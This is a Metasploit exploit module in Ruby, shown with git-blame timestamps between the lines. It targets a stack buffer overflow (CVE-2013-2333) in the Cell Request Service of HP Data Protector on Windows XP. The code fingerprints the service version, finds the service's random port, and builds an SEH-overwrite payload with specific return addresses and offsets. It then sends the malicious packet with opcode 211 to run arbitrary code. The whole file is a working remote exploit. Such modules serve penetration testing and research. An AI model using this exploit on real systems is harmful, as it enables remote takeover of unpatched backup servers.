2013-10-10 15:06:17 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-10-10 15:06:17 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'HP Data Protector Cell Request Service Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector
|
2013-10-14 20:17:39 +00:00
|
|
|
product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell
|
2013-10-10 15:06:17 +00:00
|
|
|
Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested
|
|
|
|
successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-2333' ],
|
|
|
|
[ 'OSVDB', '93867' ],
|
|
|
|
[ 'BID', '60309' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '13-130' ]
|
2013-10-10 15:06:17 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4096,
|
|
|
|
'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
|
|
|
[ 'HP Data Protector 6.20 build 370 / Windows XP SP3',
|
|
|
|
{
|
|
|
|
'Ret' => 0x00436fe2, # ppr from crs.exe
|
|
|
|
'Offset' => 15578
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'HP Data Protector 7.00 build 72 / Windows XP SP3',
|
|
|
|
{
|
|
|
|
'Ret' => 0x004cf8c1, # ppr from crs.exe
|
|
|
|
'Offset' => 15578
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jun 03 2013'))
|
|
|
|
|
|
|
|
deregister_options('RPORT') # The CRS service runs on a random port
|
|
|
|
end
|
|
|
|
|
|
|
|
def build_pkt(fields)
|
|
|
|
data = "\xff\xfe" # BOM Unicode
|
|
|
|
fields.each do |k, v|
|
|
|
|
if k == "Payload"
|
|
|
|
data << "#{v}\x00\x00"
|
|
|
|
else
|
|
|
|
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
|
|
|
|
end
|
|
|
|
data << Rex::Text.to_unicode(" ") # Separator
|
|
|
|
end
|
|
|
|
|
|
|
|
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
|
|
|
|
data << "\x00\x00" # Ending
|
|
|
|
return [data.length].pack("N") + data
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_fingerprint
|
|
|
|
ommni = connect(false, {'RPORT' => 5555})
|
|
|
|
ommni.put(rand_text_alpha_upper(64))
|
|
|
|
resp = ommni.get_once(-1)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if resp.nil?
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_crs_port
|
|
|
|
|
|
|
|
pkt = build_pkt({
|
|
|
|
"Opcode" => "2",
|
|
|
|
"FakeMachineName" => rand_text_alpha(8),
|
|
|
|
"Unknown1" => "0",
|
|
|
|
"FakeDomainUser" => rand_text_alpha(8),
|
|
|
|
"FakeDomain" => rand_text_alpha(8),
|
|
|
|
"FakeLanguage" => rand_text_alpha(8),
|
|
|
|
"Unknown2" => "15"
|
|
|
|
})
|
|
|
|
ommni = connect(false, {'RPORT' => 5555})
|
|
|
|
ommni.put(pkt)
|
|
|
|
resp = ommni.get_once(-1)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if resp.nil?
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
res_length, bom_unicode, res_data = resp.unpack("Nna*")
|
|
|
|
|
|
|
|
fields = res_data.split(Rex::Text.to_unicode(" "))
|
|
|
|
|
|
|
|
opcode = fields[0]
|
|
|
|
port = fields[1]
|
|
|
|
|
|
|
|
if not opcode or not port
|
|
|
|
vprint_error("Unexpected response")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00"))
|
|
|
|
|
|
|
|
if opcode != "109"
|
|
|
|
vprint_error("Unexpected opcode #{opcode} in the response")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
port = Rex::Text.to_ascii(port.chomp("\x00\x00"))
|
|
|
|
return port.to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
fingerprint = get_fingerprint
|
|
|
|
|
|
|
|
if fingerprint.nil?
|
2014-01-20 20:26:10 +00:00
|
|
|
vprint_error("Unable to fingerprint")
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
port = get_crs_port
|
|
|
|
|
|
|
|
if port.nil?
|
2014-01-20 20:26:10 +00:00
|
|
|
vprint_status("HP Data Protector version #{fingerprint}")
|
|
|
|
vprint_error("But CRS port not found")
|
2013-10-10 15:06:17 +00:00
|
|
|
else
|
2014-01-20 20:26:10 +00:00
|
|
|
vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")
|
2013-10-10 15:06:17 +00:00
|
|
|
end
|
|
|
|
|
2013-10-12 21:15:10 +00:00
|
|
|
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
2013-10-12 21:15:10 +00:00
|
|
|
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
2013-10-12 21:15:10 +00:00
|
|
|
elsif fingerprint =~ /HP Data Protector A\.07\.00/
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-10-12 21:15:10 +00:00
|
|
|
elsif fingerprint =~ /HP Data Protector A\.07\.01/
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-10-12 21:15:10 +00:00
|
|
|
elsif fingerprint =~ /HP Data Protector A\.06\.20/
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2013-10-12 21:15:10 +00:00
|
|
|
elsif fingerprint =~ /HP Data Protector A\.06\.21/
|
2013-10-10 15:06:17 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_target
|
|
|
|
fingerprint = get_fingerprint
|
|
|
|
|
|
|
|
if fingerprint.nil?
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2013-10-12 21:15:10 +00:00
|
|
|
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
|
2013-10-10 15:06:17 +00:00
|
|
|
return targets[1]
|
2013-10-12 21:15:10 +00:00
|
|
|
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
|
2013-10-10 15:06:17 +00:00
|
|
|
return targets[2]
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
if target.name =~ /Automatic/
|
|
|
|
print_status("Trying to find the target version...")
|
|
|
|
my_target = get_target
|
|
|
|
else
|
|
|
|
my_target = target
|
|
|
|
end
|
|
|
|
|
|
|
|
if my_target.nil?
|
|
|
|
fail_with(Failure::NoTarget, "Failed to autodetect target")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Trying to find the CRS service port...")
|
|
|
|
port = get_crs_port
|
|
|
|
if port.nil?
|
|
|
|
fail_with(Failure::NotFound, "The CRS service has not been found.")
|
|
|
|
else
|
|
|
|
print_good("CRS service found on #{port}/TCP")
|
|
|
|
connect(true, {'RPORT' => port})
|
|
|
|
end
|
|
|
|
|
|
|
|
pkt = build_pkt({
|
|
|
|
"Opcode" => "0",
|
|
|
|
"EndPoint" => "GUICORE",
|
|
|
|
"ClientFingerprint" => "HP OpenView OmniBack II A.06.20",
|
|
|
|
"FakeUsername" => rand_text_alpha(8),
|
|
|
|
"FakeDomain" => rand_text_alpha(8),
|
|
|
|
"Unknown1" => "488",
|
|
|
|
"Unknown2" => rand_text_alpha(8)
|
|
|
|
})
|
|
|
|
print_status("Sending packet with opcode 0...")
|
|
|
|
sock.put(pkt)
|
|
|
|
data = sock.get_once(-1)
|
|
|
|
|
|
|
|
if data.nil?
|
|
|
|
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")
|
|
|
|
end
|
|
|
|
|
|
|
|
if Rex::Text.to_ascii(data) !~ /NT-5\.1/
|
|
|
|
fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets")
|
|
|
|
end
|
|
|
|
|
|
|
|
pkt = build_pkt({
|
|
|
|
"Opcode" => "225"
|
|
|
|
})
|
|
|
|
print_status("Sending packet with opcode 225...")
|
|
|
|
sock.put(pkt)
|
|
|
|
data = sock.get_once(-1)
|
|
|
|
|
|
|
|
if data.nil?
|
|
|
|
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")
|
|
|
|
end
|
|
|
|
|
|
|
|
bof = payload.encoded
|
|
|
|
bof << rand_text(my_target["Offset"] - payload.encoded.length)
|
|
|
|
bof << generate_seh_record(my_target.ret)
|
|
|
|
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset']+8}").encode_string
|
|
|
|
bof << rand_text(100) # Trigger Exception
|
|
|
|
|
|
|
|
pkt = build_pkt({
|
|
|
|
"Opcode" => "211",
|
|
|
|
"Payload" => bof
|
|
|
|
})
|
|
|
|
print_status("Sending malicious packet with opcode 211...")
|
|
|
|
sock.put(pkt)
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|